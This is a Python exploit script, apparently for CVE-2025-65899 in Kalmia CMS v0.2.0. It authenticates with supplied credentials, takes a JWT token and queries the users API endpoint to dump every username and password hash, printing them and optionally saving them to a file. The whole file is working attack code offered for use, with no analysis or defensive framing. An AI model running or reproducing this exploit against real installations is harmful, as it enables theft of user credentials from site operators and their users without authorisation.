#!/usr/bin/env python3 import argparse import requests import json import sys import os from colorama import Fore, Style, init from urllib.parse import urljoin from time import sleep init(autoreset=True) banner = """ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝ ██╔════╝██╔══██╗██╔═████╗██╔═████╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚██████║██║██╔██║██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║ ╚═══██║████╔╝██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚██████╔╝███████║ █████╔╝╚██████╔╝╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚══════╝ ╚════╝ ╚═════╝ ╚═════╝ """ for char in banner: print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True) sleep(0.0008) def getToken(url_base, endpoint_token, credentials): full_url = urljoin(url_base, endpoint_token) print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Request token: {full_url}\n") try: response = requests.post( full_url, headers={ 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }, data=json.dumps(credentials), timeout=30 ) if response.status_code != 200: print(f"[!] Status Code: {response.status_code}") sys.exit(1) try: resposta_json = response.json() token = resposta_json['token'] return token except json.JSONDecodeError: print(f"\n[!] Invalid response") print(f"[+] Response content: {response.text}") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") sys.exit(1) except Exception as e: print(f"[!] Unexpected error: {e}") sys.exit(1) def dumpHashes(url, token, output): credentials = [] response = requests.get( url, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Authorization': f'Bearer {token}' }, timeout=30 ) if response.status_code != 200: print(f"[!] Status Code: {response.status_code}") sys.exit(1) response = response.json() for items in response: credentials.append(f"{items['username']}:{items['password']}") for creds in credentials: print(f"{Fore.GREEN}{Style.BRIGHT}[+] {creds}") if output: output_path = os.path.abspath(output) with open(output_path, 'w') as f: for creds in credentials: f.write(creds + '\n') def main(): parser = argparse.ArgumentParser(description='Exploit for dump password hashes: Kalmia CMS v0.2.0 - CVE-2025-65899', formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('url', help='Base URL needs http or https (ex: http://localhost:2727)') parser.add_argument('-t', '--token-endpoint',default='/kal-api/auth/jwt/create',help='Endpoint to get access token (default: /kal-api/auth/jwt/create)') parser.add_argument('-u', '--user',required=True, help='User for authetication') parser.add_argument('-p', '--password', required=True, help='Password for authetication') parser.add_argument('-d', '--dump', default='/kal-api/auth/users', help='Optional parameter to API for dumping users and password hashes (default: /kal-api/auth/users)') parser.add_argument('-a', '--auth', help='Optional parameter to skip getToken function') parser.add_argument('-o', '--output',help='Save password hashes') args = parser.parse_args() credentials = { 'username': args.user, 'password': args.password } print("-" * 50) print(f"[*] URL Base: {args.url}") print(f"[*] Endpoint Token: {args.token_endpoint}") print(f"[*] Endpoint Password Hashes: {args.dump}") print("-" * 50) if not args.url.startswith(('http://', 'https://')): print("[!] URL needs to start with http:// ou https://") sys.exit(1) if not args.auth: token = getToken(args.url, args.token_endpoint,credentials) else: token = args.auth if not args.output: output = None else: output = args.output dumpHashes(urljoin(args.url, args.dump), token, output) if token is None: print("\n[!] Request failure") sys.exit(1) else: print("\n[+] Request success") sys.exit(0) if __name__ == "__main__": main()